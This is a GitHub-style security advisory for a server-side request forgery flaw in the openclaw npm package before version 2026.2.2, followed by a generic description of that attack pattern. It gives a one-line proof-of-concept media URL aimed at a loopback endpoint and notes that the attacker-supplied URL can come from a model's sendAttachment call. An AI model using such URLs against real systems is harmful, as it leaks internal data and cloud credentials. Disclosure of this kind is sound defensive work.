"details": "### Summary\n\nVersions of the `openclaw` npm package prior to `2026.2.2` could be coerced into fetching arbitrary `http(s)` URLs during attachment/media hydration. An attacker who can influence the media URL (for example via model-controlled `sendAttachment` or auto-reply media URLs) could trigger SSRF to internal resources and exfiltrate the fetched bytes as an outbound attachment.\n\n### Plain-English Explanation\n\nOpenClaw can send files by downloading them first.\n\nOn vulnerable versions (`\u003c 2026.2.2`), if an attacker could get OpenClaw to treat a URL as the \u201cfile to attach\u201d, OpenClaw would download that URL from the gateway machine and then send the downloaded bytes back out as an attachment.\n\nThat matters because the gateway can often reach internal-only endpoints that an attacker cannot (for example `127.0.0.1` services, private RFC1918 addresses, or cloud metadata endpoints). This is a data-leak risk.\n\nThis does not directly grant code execution or shell access; it is about making the gateway perform HTTP requests and returning the response bytes.\n\n### Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected: `\u003c 2026.2.2`\n- Fixed: `\u003e= 2026.2.2`\n\nRelease timeline (npm):\n\n- `2026.2.1` published `2026-02-02T11:45:27Z`\n- `2026.2.2` published `2026-02-04T00:56:41Z`\n- This advisory was created `2026-02-05T10:42:26Z`\n\n### Details\n\nIn affected versions, remote media fetching performed a raw `fetch(url)` without SSRF protections.\n\nStarting in `2026.2.2`, remote media fetching is guarded by SSRF checks (private/loopback/link-local blocking, DNS pinning, and redirect handling), so attempts to fetch `127.0.0.1`, private RFC1918 space, or cloud metadata hostnames are rejected.\n\n### Proof of Concept\n\nFrom any context where an attacker can influence an attachment/media URL, provide a media URL targeting an internal endpoint (example: `http://127.0.0.1:9999/secret.txt`).\n\nOn vulnerable versions (`\u003c 2026.2.2`), the gateway fetches the URL and uses the response bytes as the attachment payload.\n\n### Fix\n\nFix commits:\n\n- `81c68f582d4a9a20d9cca9f367d2da9edc5a65ae`\n- `9bd64c8a1f91dda602afc1d5246a2ff2be164647`\n\n### Mitigation\n\nUpgrade to `openclaw \u003e= 2026.2.2`.\n\nThanks @simecek for reporting.",
"id": "GHSA-wfp2-v9c7-fh79",
"modified": "2026-03-06T01:01:05Z",
"published": "2026-02-17T21:30:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-wfp2-v9c7-fh79"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28467"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/81c68f582d4a9a20d9cca9f367d2da9edc5a65ae"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/9bd64c8a1f91dda602afc1d5246a2ff2be164647"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.2"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-ssrf-via-attachment-media-url-hydration"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw affected by SSRF via attachment/media URL hydration"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.